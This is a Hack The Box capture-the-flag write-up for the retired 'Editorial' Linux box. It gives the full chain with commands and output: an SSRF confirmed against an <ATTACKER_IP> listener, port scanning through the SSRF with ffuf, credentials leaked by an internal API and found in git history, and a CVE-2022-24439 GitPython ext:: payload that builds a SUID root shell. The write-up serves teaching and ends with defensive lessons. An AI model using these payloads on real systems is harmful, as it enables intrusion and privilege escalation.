root@thehacksparrow:~/writeups$ SYSTEM ONLINE
root@sparrow:~/writeups$ cat editorial.md
// writeups

Editorial

15 Jun 2024 · 12 min read
Editorial - maquina de Hack The Box

Executive summary — Editorial is an Easy Linux box with a very instructive chain end to end. A publisher's site lets you upload a book cover directly from a URL, which opens a classic SSRF in /upload-cover. Using it as an internal port scanner with ffuf we discover an unauthenticated API on 127.0.0.1:5000 that leaks the dev user's credentials. Once inside over SSH, a forgotten git repository in the home directory keeps prod's password in its history (not the current code). Finally, prod can sudo a script that clones repositories with GitPython 3.1.29, vulnerable to CVE-2022-24439: git's ext:: transport allows injecting system commands, which we use to craft a SUID copy of /bin/sh and get root. Path: SSRF → internal API → dev → git log → prod → GitPython (CVE-2022-24439) → root.

PlatformHack The Box
Operating systemLinux
DifficultyEasy
StatusRetired
Target IP10.129.10.105

Attack map

[80] editorial.htb → /upload-cover accepts a URL (bookurl) → SSRF confirmed
   │  ffuf against 127.0.0.1 → internal port 5000 → unauth API leaks dev creds
   ▼
[SSH]  dev  (user.txt)
   │  leftover git repo in ~/apps → history reveals prod credentials
   ▼
[su]  prod
   │  sudo clone_prod_change.py (GitPython 3.1.29) → CVE-2022-24439 (ext:: protocol)
   ▼
[ROOT]  SUID shell via /bin/sh copied to /tmp/rootsh

1. Reconnaissance

Port and service scanning always comes first: it tells us the attack surface before touching anything else.

nmap -p- --min-rate 10000 10.129.10.105
22/tcp open  ssh
80/tcp open  http
nmap -sCV -p22,80 10.129.10.105
22/tcp open  ssh   OpenSSH 8.9p1
80/tcp open  http  nginx 1.18.0

The web service redirects to http://editorial.htb, so we add the domain to our hosts file to browse it by name:

echo "10.129.10.105 editorial.htb" | sudo tee -a /etc/hosts
ping -c 2 editorial.htb

2. Web enumeration — the /upload form

The site is a publisher that lets you submit books. Browsing by hand we find /, /about and /upload. We confirm there's nothing else by fuzzing directories:

feroxbuster -u http://editorial.htb
/
/about
/upload   (no additional routes)

/upload has a book-submission form with two buttons: Preview and Send book info. The interesting bit is that the cover can be loaded from a URL (the bookurl parameter), and clicking Preview makes the server fetch that resource. That «go get this URL for me» performed by the server itself is the classic SSRF vector.

3. Confirming the SSRF

An SSRF (Server-Side Request Forgery) happens when the server makes an HTTP request, on our behalf, to a URL we choose. If we point that URL at our own machine and see the request arrive, the SSRF is confirmed.

nc -lvnp 80

In the cover field of the form we enter our attack machine's address and click Preview:

http://<ATTACKER_IP>/test

The listener catches Editorial's own server making the request:

GET /test HTTP/1.1
Host: <ATTACKER_IP>
User-Agent: python-requests/2.25.1

The User-Agent gives away that the backend uses Python's requests library to fetch the cover. SSRF confirmed.

4. Arbitrary content read via SSRF

If the server doesn't just request the URL but also stores what it downloads, the SSRF stops being just a «ping» to internal services: it becomes a way to read any content reachable from the server.

python3 -m http.server 80

We upload any image as the cover, pointing at our URL. The application downloads the file and stores it under /static/uploads/<uuid>. Repeating the test with a plain-text or HTML file shows the app doesn't validate content type: it stores whatever we serve, as long as the source URL points to something reachable from the server.

5. Mapping internal services with ffuf

Since the server will obey any URL we hand it in bookurl, we can use it as a port scanner by proxy: fuzz the port on 127.0.0.1 and watch for a response that changes size.

POST /upload-cover HTTP/1.1
Host: editorial.htb
Content-Type: multipart/form-data; boundary=---------------------------123

-----------------------------123
Content-Disposition: form-data; name="bookurl"

http://127.0.0.1:FUZZ
-----------------------------123--

We save that template as ssrf.req and fuzz the whole port range:

ffuf -u http://editorial.htb/upload-cover \
  -request ssrf.req \
  -w <(seq 0 65535) \
  -ac
5000   (only port with a different response)

There's an HTTP service listening only on localhost, on port 5000 — unreachable from the outside, but perfectly reachable through the SSRF.

6. Unauthenticated internal API → dev credentials

We use the SSRF to query that API's root and get a JSON list of available endpoints, including /api/latest/metadata/messages/authors. We query it:

http://127.0.0.1:5000/api/latest/metadata/messages/authors
{
  "template_mail_message":
  "Username: dev
   Password: dev080217_devAPI!@"
}

A mail template meant for internal use leaks the dev user's credentials in plain text: dev / dev080217_devAPI!@.

7. SSH access as dev — user.txt

netexec ssh editorial.htb -u dev -p 'dev080217_devAPI!@'
[+] dev:dev080217_devAPI!@
ssh dev@editorial.htb
cat ~/user.txt

8. Lateral movement — git history → prod

As dev, sudo -l gives nothing («Sorry, user dev may not run sudo»). We check which other users have a shell:

cat /etc/passwd | grep bash
root
prod
dev

prod is the obvious target. In dev's home, inside ~/apps, a plain listing looks empty, but -la reveals a .git directory: a leftover repository.

The repo's current code is clean, but the history is not: we review old commits, where secrets that were later «removed» from the code, without purging the history, often remain.

cd ~/apps
git log --oneline
8ad0f31
dfef9f2
b73481b
1e84a03
3251ec9

One commit message stands out: change(api): downgrading prod to dev — it looks like a credential change between environments. Diffing two of those commits confirms it, revealing prod's password in plain text:

git diff 1e84a03 b73481b
Username: prod
Password: 080217_Producti0n_2023!@
ssh prod@editorial.htb

9. Escalation — sudo + GitPython (CVE-2022-24439)

sudo -l
(root) NOPASSWD: /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py *

prod can run, as root and without a password, a script that clones a git repository. We read it:

cat /opt/internal_apps/clone_changes/clone_prod_change.py
from git import Repo

url_to_clone = sys.argv[1]

r = Repo.init('', bare=True)
r.clone_from(
    url_to_clone,
    'new_changes',
    multi_options=["-c protocol.ext.allow=always"]
)

The script uses the GitPython library to clone the URL we pass as an argument, and it explicitly enables protocol.ext.allow=always: that setting turns on git's ext:: transport, which can run an arbitrary system command instead of contacting a real remote repository.

pip freeze | grep -i git
GitPython==3.1.29

That version is vulnerable to CVE-2022-24439: it doesn't sanitise the source URL and allows argument injection via ext::. We first confirm we can run commands as root:

sudo python3 /opt/internal_apps/clone_changes/clone_prod_change.py \
  'ext::sh -c touch%20/tmp/pwned'

Git returns an error (expected — there's no real repository to clone), but the file gets created anyway, owned by root:

ls -l /tmp/pwned
-rw-r--r-- 1 root root 0 ... /tmp/pwned

With command execution confirmed, we prepare a payload that leaves us a persistent SUID shell instead of a one-liner:

cat > /dev/shm/root.sh << 'EOF'
#!/bin/bash
cp /bin/sh /tmp/rootsh
chown root:root /tmp/rootsh
chmod 6777 /tmp/rootsh
EOF
chmod +x /dev/shm/root.sh
sudo python3 /opt/internal_apps/clone_changes/clone_prod_change.py \
  'ext::sh -c /dev/shm/root.sh'

The git error shows up again (expected), but we check the result:

ls -l /tmp/rootsh
-rwsrwsrwx 1 root root ... /tmp/rootsh

A copy of /bin/sh with the SUID and SGID bits set. We run it with -p to keep the effective UID:

/tmp/rootsh -p
id
uid=1000(prod) euid=0(root)
cd /root
cat root.txt

System fully compromised. 🏴‍☠️

Vulnerability summary

PhaseComponentVulnerabilityImpact
Foothold/upload-cover (bookurl)SSRF with no destination validation: allows scanning ports and querying internal servicesDiscovery of port 5000 and leak of dev credentials
Lateralgit repository in ~/appsSecrets exposed in the history (not the current code)prod credentials
PrivEscsudo clone_prod_change.py (GitPython 3.1.29)CVE-2022-24439: unsanitised ext:: protocol in the clone URLCommand execution as root → SUID shell → root

Lessons learned

  • SSRF: validate and allow-list any URL the server will request; explicitly block 127.0.0.1 and internal (RFC 1918) ranges.
  • Don't trust what the server downloads: if it also stores and serves it back, an SSRF becomes an arbitrary-read channel.
  • Never commit secrets to git: even if you remove them later, they stay in history. Rotate any credential that ever touched a commit.
  • Update dependencies: CVE-2022-24439 is fixed in GitPython ≥ 3.1.30.
  • Beware sudo + interpreters with controlled input: a Python script that passes unvalidated arguments to a library like GitPython is often a direct road to root.